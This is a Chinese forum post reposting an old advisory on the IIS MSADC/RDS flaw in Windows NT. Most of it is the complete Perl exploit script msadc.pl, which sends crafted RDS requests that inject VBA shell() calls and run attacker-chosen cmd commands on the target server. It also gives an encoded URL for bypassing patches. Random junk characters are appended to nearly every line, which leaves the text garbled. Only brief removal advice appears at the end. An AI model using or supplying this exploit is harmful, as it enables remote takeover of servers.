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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) |pR'#M4j4A  
p}|<EL}Z9  
涉及程序: 9oj0X>| 1  
Microsoft NT server nSq$,tk(  
Bh()?{q  
描述: !r9~K^EI  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 3tCT"UvTD  
y+$a}=cb0  
详细: Ba9"IXKH  
如果你没有时间读详细内容的话,就删除: +D M,+{}  
c:\Program Files\Common Files\System\Msadc\msadcs.dll %=i/MFGX  
有关的安全问题就没有了。 P&AaD!Qn  
j`_tb   
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 {5JYu  
) {4$oXQ  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。  +Q+!#  
关于利用ODBC远程漏洞的描述,请参看: c"NGE  
)wk9(|[o  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm \1#~]1~ s  
FES0lw{G#  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 r-&* `Jh  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp o> yo9n%t  
xm> y3WC  
这里不再论述。 WWv.kglz  
kvam`8SeL  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: - *xn`DH  
14p{V} f3  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset Mqm9i  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! +jj] tJ$[  
kDc/]Zb%  
\;!g@?CA  
#将下面这段保存为txt文件,然后: "perl -x 文件名" J|e3 UikA  
fILD~  
#!perl +A2}@k   
# /cx Ei6I-  
# MSADC/RDS 'usage' (aka exploit) script |O[ I=!  
# 9zaSA,}  
# by rain.forest.puppy g7Z3GUCGL  
# Hx ojxZwm  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me @EUvx  
# beta test and find errors! j +Ro?  
/@6T~XY M  
use Socket; use Getopt::Std; h{CyYsQ  
getopts("e:vd:h:XR", \%args); CA ,2&v"  
P8GGN  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; uEyus96 +  
2.&%mSN  
if (!defined $args{h} && !defined $args{R}) { *r iWrG  
print qq~ #Z}YQ $g  
Usage: msadc.pl -h <host> { -d <delay> -X -v } U (A#}  
-h <host> = host you want to scan (ip or domain) Gvc/o$_  
-d <seconds> = delay between calls, default 1 second b`|,rfq^AZ  
-X = dump Index Server path table, if available m<|fdS'@  
-v = verbose S,RC;D7  
-e = external dictionary file for step 5 I<hMS6$<LE  
7:wf!\@ I  
Or a -R will resume a command session 36yIfC,  
FK;2u $:  
~; exit;} M3H^s_  
v|2+7N:[;  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; !GtCOr\'  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} 6jz~q~ I  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} =${ImMwj  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); # 0/,teJ k  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} 6R!AIOD>  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 'PdUSv|lH  
.a}!!\@  
if (!defined $args{R}){ $ret = &has_msadc; r%%<   
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} (sEZNo5n  
1|5TuljTd  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" N0UZ%,h\  
. "cmd /c "; pY(S]i  
$in=<STDIN>; chomp $in; "qw.{{:tf  
$command="cmd /c " . $in ; [ejl #'*5  
`B7?F$J  
if (defined $args{R}) {&load; exit;} wQ\bGBks  
=[`gfw  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; -_BjzA|  
&try_btcustmr; .$ 5*v  
~{[,0,lWU  
print "\nStep 2: Trying to make our own DSN..."; :bz;_DZP  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; qz|xow/ns@  
A7TV-eWG  
print "\nStep 3: Trying known DSNs..."; %(g!,!l)  
&known_dsn; JO\KTWtjO  
5} 1qo7;  
print "\nStep 4: Trying known .mdbs..."; yz_xWx#9  
&known_mdb; ^c:I]_Ww  
P.O/ZW>g  
if (defined $args{e}){ 0]l9x}  
print "\nStep 5: Trying dictionary of DSN names..."; BDPF>lPf<  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } 8V+  
':|?M B  
print "Sorry Charley...maybe next time?\n"; #v:A-u  
exit; #YB3Ug]z  
)!d_Td\-  
############################################################################## hr/|Fn+kA  
OCI{)r<O2m  
sub sendraw { # ripped and modded from whisker 0Y/k /)Ul]  
sleep($delay); # it's a DoS on the server! At least on mine... ou [Wz{  
my ($pstr)=@_; \$2zF8  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || Xvn \~Vr  
die("Socket problems\n"); [};?;YN  
if(connect(S,pack "SnA4x8",2,80,$target)){ Q@.%^1Mp  
select(S); $|=1; >TS=tK  
print $pstr; my @in=<S>; |=EwZ mj-c  
select(STDOUT); close(S); 1Ewg_/R  
return @in; PpR eqmo  
} else { die("Can't connect...\n"); }} );fPir?+  
Is }?:ET  
############################################################################## RH&}'4JE:  
QHe:  
sub make_header { # make the HTTP request Y,d|b V*FH  
my $msadc=<<EOT CpC6vA.R  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 "S3U]zw0_  
User-Agent: ACTIVEDATA Xb7G!Hk#g  
Host: $ip KZwzQ"Hl  
Content-Length: $clen WFMQ;  
Connection: Keep-Alive A]m_&A#  
v#$}3+KVC  
ADCClientVersion:01.06 &%@>S.  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 8iN@n8O  
,pVq/1  
--!ADM!ROX!YOUR!WORLD! {fu[&@XV  
Content-Type: application/x-varg ufS0UD8%H  
Content-Length: $reqlen )iCg,?SSw=  
a}7P:e*u  
EOT n]bxG8~t  
; $msadc=~s/\n/\r\n/g; q%wF=<W  
return $msadc;} )-S;j)(+  
T%1Kh'92  
############################################################################## 5 OF*PBZ  
q??N,  
sub make_req { # make the RDS request B \>W  
my ($switch, $p1, $p2)=@_; ^j]"5@f  
my $req=""; my $t1, $t2, $query, $dsn; `-<m#HF:)d  
scR+F'M  
if ($switch==1){ # this is the btcustmr.mdb query 30L/-+r1  
$query="Select * from Customers where City=" . make_shell(); |sV@j_TX  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . zjwo"6c>  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} x DX_s:A  
R5'_il  
elsif ($switch==2){ # this is general make table query *uMtl'  
$query="create table AZZ (B int, C varchar(10))"; 4I3)eS%2  
$dsn="$p1";} R|dSjEs  
S-G#+ Ue2  
elsif ($switch==3){ # this is general exploit table query Z n]e2  
$query="select * from AZZ where C=" . make_shell(); szD BfGd%j  
$dsn="$p1";} 8Nxyc>8K~  
*G;D u`;  
elsif ($switch==4){ # attempt to hork file info from index server dV+GWJNNE  
$query="select path from scope()"; LZrkFkiC  
$dsn="Provider=MSIDXS;";} (JeRJ4  
uCGn9]  
elsif ($switch==5){ # bad query jX 6+~  
$query="select"; k{pn~)xg  
$dsn="$p1";} > V%3w7  
vX"jL  
$t1= make_unicode($query); gj1l9>f>]a  
$t2= make_unicode($dsn); 1A/li%  
$req = "\x02\x00\x03\x00"; \DRYqLT`  
$req.= "\x08\x00" . pack ("S1", length($t1)); F` ]s  
$req.= "\x00\x00" . $t1 ; Xc7Qu?}  
$req.= "\x08\x00" . pack ("S1", length($t2)); 7\JA8mm  
$req.= "\x00\x00" . $t2 ; s&Qil07 Vl  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; !8Q9RnGn  
return $req;} iVb#X#  
wq`\p['Q,  
############################################################################## _JXb|FIp  
-Hu]2J)  
sub make_shell { # this makes the shell() statement g;<_GL  
return "'|shell(\"$command\")|'";} ut;KphvSH  
PVUNi: h  
############################################################################## 6Pu5 k;H  
nv"D  
sub make_unicode { # quick little function to convert to unicode y{1|@?ii  
my ($in)=@_; my $out; sK`pV8&xq  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } b:(*C  
return $out;} Cr%6c3aQ  
Nyo,6 AA  
############################################################################## 8??%H7~  
qGc>+!y  
sub rdo_success { # checks for RDO return success (this is kludge) DSx D531[A  
my (@in) = @_; my $base=content_start(@in); ?3Dsz  
if($in[$base]=~/multipart\/mixed/){ vCtag]H2@  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} }-ysP$  
return 0;} zj9aaZ}  
>l|dLyiae  
############################################################################## YfOO]{x,X  
@ei:/~y3  
sub make_dsn { # this makes a DSN for us +Ek('KOF  
my @drives=("c","d","e","f"); vt-5 3fa|  
print "\nMaking DSN: "; [:\8Ug8  
foreach $drive (@drives) { .6#Y- iJqc  
print "$drive: "; ;l'kPUv([  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . p3(&9~ s  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" zhFk84  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); BFyVq  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; $2\k| @)s  
return 0 if $2 eq "404"; # not found/doesn't exist YC0FXNV  
if($2 eq "200") { *FEY"W+bY  
foreach $line (@results) { #y%?A;  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} LXQ-J  
} return 0;} !t 92_y3  
YKs^aQm#  
############################################################################## 1]j_4M14aA  
&`4v,l^Zi6  
sub verify_exists { k,nRC~Irh  
my ($page)=@_; K# dV.  
my @results=sendraw("GET $page HTTP/1.0\n\n"); ,zY!EHpx  
return $results[0];} Zf%6U[{ T  
&MsBcP[  
############################################################################## SZQ4e  
 a7UfRG  
sub try_btcustmr { O<v9i4*  
my @drives=("c","d","e","f"); =!%+ sem  
my @dirs=("winnt","winnt35","winnt351","win","windows"); B?tO&$s  
{|J'd+  
foreach $dir (@dirs) { ?krgZ;Jj  
print "$dir -> "; # fun status so you can see progress I*^3 Z  
foreach $drive (@drives) { +e%U6&l{  
print "$drive: "; # ditto lfp'D+#p {  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; h&6v&%S/L  
$reqlenlen=length( "$reqlen" ); 4aQb+t,  
$clen= 206 + $reqlenlen + $reqlen; "?Cx4<nsM  
?=h{`Ci^ $  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); p4OiCAW;  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} ndIU0kq3  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} ;eRYgC  
"*E%?MG  
############################################################################## YSE6PG   
7!E?(3$#"  
sub odbc_error { @n##.th  
my (@in)=@_; my $base; /hMD Me  
my $base = content_start(@in); 'M#'BQQ5  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this |VL(#U  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; IL]VY1'#  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; &zYo   
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ,??%["R  
return $in[$base+4].$in[$base+5].$in[$base+6];} -a[] #v9  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; v*7lJNN.  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . ?Q)z5i'g#  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} >9.xFiq<  
fscAG\>8  
############################################################################## 5/O;&[lYy  
?X.MKNbp  
sub verbose { bvM a|;f1  
my ($in)=@_; bNG;`VZ%  
return if !$verbose; Ge>%?\  
print STDOUT "\n$in\n";} ^{T3lQvt  
)c#m<_^  
############################################################################## ]jz%])SzH  
}bVWV0Aeim  
sub save { dik+BBu5z  
my ($p1, $p2, $p3, $p4)=@_; N@>,gm@UU  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; +)Pv6Zog[  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; |QvG;{!  
close OUT;} {zc<:^r^  
e:Zc-  
############################################################################## _ s]=g  
0NB6S&lI^k  
sub load { lr[a~ca\  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; ~_TmS9  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); xPY/J#X$  
@p=<IN>; close(IN); 38%xB<Y  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); E Cx_ [|3{  
$target= inet_aton($ip) || die("inet_aton problems"); < ealt  
print "Resuming to $ip ..."; K`nI$l7hg  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; < }3c%Q1  
if($p[1]==1) { %7PprN0>  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; 6.Nu[-?  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; uLsGb=m%b  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); `A)9   
if (rdo_success(@results)){print "Success!\n";} IwIk;pB O  
else { print "failed\n"; verbose(odbc_error(@results));}} .Y%)&  
elsif ($p[1]==3){ ~O)Uz|  
if(run_query("$p[3]")){ $SQ8,Y,  
print "Success!\n";} else { print "failed\n"; }} :Gh* d)  
elsif ($p[1]==4){ rdsm /^,s  
if(run_query($drvst . "$p[3]")){ uw@z1'D[i"  
print "Success!\n"; } else { print "failed\n"; }} n2Oi< )  
exit;} HN\Zrb  
IPU'M*|Q  
############################################################################## .-;K$'YG  
oVsj Q  
sub create_table { FKd5]am  
my ($in)=@_; L)'JkX J  
$reqlen=length( make_req(2,$in,"") ) - 28; @xJ qG"  
$reqlenlen=length( "$reqlen" ); 9lA@ K[  
$clen= 206 + $reqlenlen + $reqlen; ~a[]4\ m;  
my @results=sendraw(make_header() . make_req(2,$in,"")); E/ <[G?  
return 1 if rdo_success(@results); 8=!M0i  
my $temp= odbc_error(@results); verbose($temp); "msCiqF{z  
return 1 if $temp=~/Table 'AZZ' already exists/; Tw{H+B"uVz  
return 0;} x-0IxWD%  
<_ 02)6j  
############################################################################## J<Wz3}w6  
EdA_Hf  
sub known_dsn { #dDsI]E )  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go ~(tZW  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", ujZki.x  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", ,|_ewye  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); H(ht{.sjI  
)EYsqj  
foreach $dSn (@dsns) { %Yg;s'F>#q  
print "."; 0Ng6Xg(QHc  
next if (!is_access("DSN=$dSn")); Bo?uwi  
if(create_table("DSN=$dSn")){ CJ_X:Frj)  
print "$dSn successful\n"; OE-$P  
if(run_query("DSN=$dSn")){ X6 ~y+ R  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { BJk:h-m [  
print "Something's borked. Use verbose next time\n";}}} print "\n";} J p.Sow  
/>XfK,c-  
############################################################################## Z&=K+P  
*$x/(!UE  
sub is_access { .Lo$uKsW$l  
my ($in)=@_; I]>-~_  
$reqlen=length( make_req(5,$in,"") ) - 28; YH^_d3A;  
$reqlenlen=length( "$reqlen" ); d3T|N\(DL  
$clen= 206 + $reqlenlen + $reqlen; (| Am  
my @results=sendraw(make_header() . make_req(5,$in,"")); }$V]00 X  
my $temp= odbc_error(@results); 5j`"@C5;O  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); l/yLSGjM  
return 0;} k0?4vA  
_Kx  /z  
############################################################################## )1O *~%  
__c:$7B/4U  
sub run_query { |v8>22y  
my ($in)=@_; 9u1)Kr=e  
$reqlen=length( make_req(3,$in,"") ) - 28; )_b #c+  
$reqlenlen=length( "$reqlen" ); 4x=rew>Ew  
$clen= 206 + $reqlenlen + $reqlen; Mk= tS+  
my @results=sendraw(make_header() . make_req(3,$in,"")); Hjli)*ev  
return 1 if rdo_success(@results); M|FwYF^  
my $temp= odbc_error(@results); verbose($temp); 0\wMlV`F  
return 0;} *9%<}z  
VG+Yhm<SL  
############################################################################## B8 -/ C\  
a=gTGG"9  
sub known_mdb { &Z5$ 5,[  
my @drives=("c","d","e","f","g"); 0G9@A8LU  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Giz9jzF \  
my $dir, $drive, $mdb; *#Hi W)  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; ]c+qD,wqt>  
<"/Y`/  
# this is sparse, because I don't know of many E8=.TM]L  
my @sysmdbs=( "\\catroot\\icatalog.mdb", %p"x|e  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", '/SMqmi  
"\\system32\\certmdb.mdb", SxC$EQ gL  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% $I-$X?  
*(L4rK\2  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", 9x&,`95O  
"\\cfusion\\cfapps\\forums\\forums_.mdb", z7MJxjH  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", 4r-jpVN~  
"\\cfusion\\cfapps\\security\\realm_.mdb", y<k-dbr  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", Gu~y/CE'  
"\\cfusion\\database\\cfexamples.mdb", N2;T\xx,  
"\\cfusion\\database\\cfsnippets.mdb", |A 7Yv  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", :D-d`OyjG>  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", }f^r@3Cb3  
"\\cfusion\\brighttiger\\database\\cleam.mdb", eGvHU ;@  
"\\cfusion\\database\\smpolicy.mdb", 9#/z [!  
"\\cfusion\\database\cypress.mdb", <!K2xb-d^  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", Y:G6Nd VFM  
"\\website\\cgi-win\\dbsample.mdb", J'Yj_  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", tQ'E"u1  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" P$.Azrl  
); #these are just $2 Ox;+  
foreach $drive (@drives) { )qD%5} t  
foreach $dir (@dirs){ 5bv(J  T  
foreach $mdb (@sysmdbs) { XYWGX;.=  
print "."; G?e,Q$  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ kJ>l, AD/  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; X6!u(plVQ  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ *FR Eh@R  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; ;%]Q%7  
} else { print "Something's borked. Use verbose next time\n"; }}}}} \ Yz>=rY  
=]\,I'  
foreach $drive (@drives) { DkA cT[  
foreach $mdb (@mdbs) { Lh"Je-x<<  
print "."; @= 6}w_  
if(create_table($drv . $drive . $dir . $mdb)){ 3w ?)H  
print "\n" . $drive . $dir . $mdb . " successful\n"; c>!>D7:7  
if(run_query($drv . $drive . $dir . $mdb)){ ~({aj|Y  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; &B#HgWud  
} else { print "Something's borked. Use verbose next time\n"; }}}} `BMg\2Ud*  
} w@X<</`  
]XJpy-U  
############################################################################## jr*A1y*  
'%V ;oJ"  
sub hork_idx { 0+;.T1?  
print "\nAttempting to dump Index Server tables...\n"; odny{ePAf  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; wz9V)_V*  
$reqlen=length( make_req(4,"","") ) - 28; sJ7r9 O`x  
$reqlenlen=length( "$reqlen" ); YQ 4;X8I`r  
$clen= 206 + $reqlenlen + $reqlen; xRP#}i:m  
my @results=sendraw2(make_header() . make_req(4,"","")); /t%IU  
if (rdo_success(@results)){ ov#/v\|0  
my $max=@results; my $c; my %d; 4cr >sz  
for($c=19; $c<$max; $c++){ W4QVWn %3  
$results[$c]=~s/\x00//g; =! 9+f  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; }a"T7y23  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; 0D/j2cT("k  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; k:Uyez  
$d{"$1$2"}="";} p44d&9  
foreach $c (keys %d){ print "$c\n"; } 4kT|/ bp  
} else {print "Index server doesn't seem to be installed.\n"; }} 2hw3+ o6  
=YB3^Z  
############################################################################## BGodrb1  
wP6~HiC  
sub dsn_dict { $oH?oD1  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); 5(%+8<2  
while(<IN>){ NV9D;g$Y  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; m!|u{<,R  
next if (!is_access("DSN=$dSn")); V(=~p[  
if(create_table("DSN=$dSn")){ N/8qd_:8  
print "$dSn successful\n"; 2 Nr j@q  
if(run_query("DSN=$dSn")){ HpSgGhL'J&  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ]b.@i&M  
print "Something's borked. Use verbose next time\n";}}} #|GP]`YT  
print "\n"; close(IN);} W.-[ceM  
X"y rA;,o  
############################################################################## ,@khV  
pxM^|?Hxc  
sub sendraw2 { # ripped and modded from whisker +yVz ) X  
sleep($delay); # it's a DoS on the server! At least on mine... (JocnM|U  
my ($pstr)=@_; VDx=Tsu-  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || nDkyo>t .  
die("Socket problems\n"); %QVX1\>]  
if(connect(S,pack "SnA4x8",2,80,$target)){ -G(z!ed  
print "Connected. Getting data"; +su>0'a  
open(OUT,">raw.out"); my @in; giyKEnP  
select(S); $|=1; print $pstr; 'vhgR2/  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} Ua,Lg.z  
close(OUT); select(STDOUT); close(S); return @in; :w#Zs)N  
} else { die("Can't connect...\n"); }}  ;B^G<  
7cK#fh"hvg  
############################################################################## ]N:SB  
/$! / F@^  
sub content_start { # this will take in the server headers 6sRn_y  
my (@in)=@_; my $c; tt{,f1v0t  
for ($c=1;$c<500;$c++) { .2C}8GGC'  
if($in[$c] =~/^\x0d\x0a/){ f%an<>j^w  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } G=jdb@V/?  
else { return $c+1; }}} WT;=K0W6&  
return -1;} # it should never get here actually u!k\W{  
S3MMyS8  
############################################################################## .D-}2<z  
zM|d9TS  
sub funky { tU}CRh  
my (@in)=@_; my $error=odbc_error(@in); `D>PU@s$nT  
if($error=~/ADO could not find the specified provider/){ b DeHU$  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; aM9^V MOb  
exit;} \%KJ +PJ  
if($error=~/A Handler is required/){ KR^lmN  
print "\nServer has custom handler filters (they most likely are patched)\n"; Fs|fo-+H}k  
exit;} ES;7_.q  
if($error=~/specified Handler has denied Access/){ "e69aAA,  
print "\nServer has custom handler filters (they most likely are patched)\n"; q+19EJ(  
exit;}} >O&(G0!N+}  
* Od_Cl  
############################################################################## k*J}/HO  
D}SRr,4v  
sub has_msadc { 8ysU.5S  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); M+gQN}BAr  
my $base=content_start(@results); ;'`T  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); [`Ol&R4k  
return 0;} W% YJ.%I  
H\Y.l,^  
######################## )p~\lM}?d  
d0Py[37V  
2L[/.|  
解决方案: |[>`3p"&  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll |n \HxU3  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 ~= lm91W  
ctTg-J2.  
拿出来充数 哈哈
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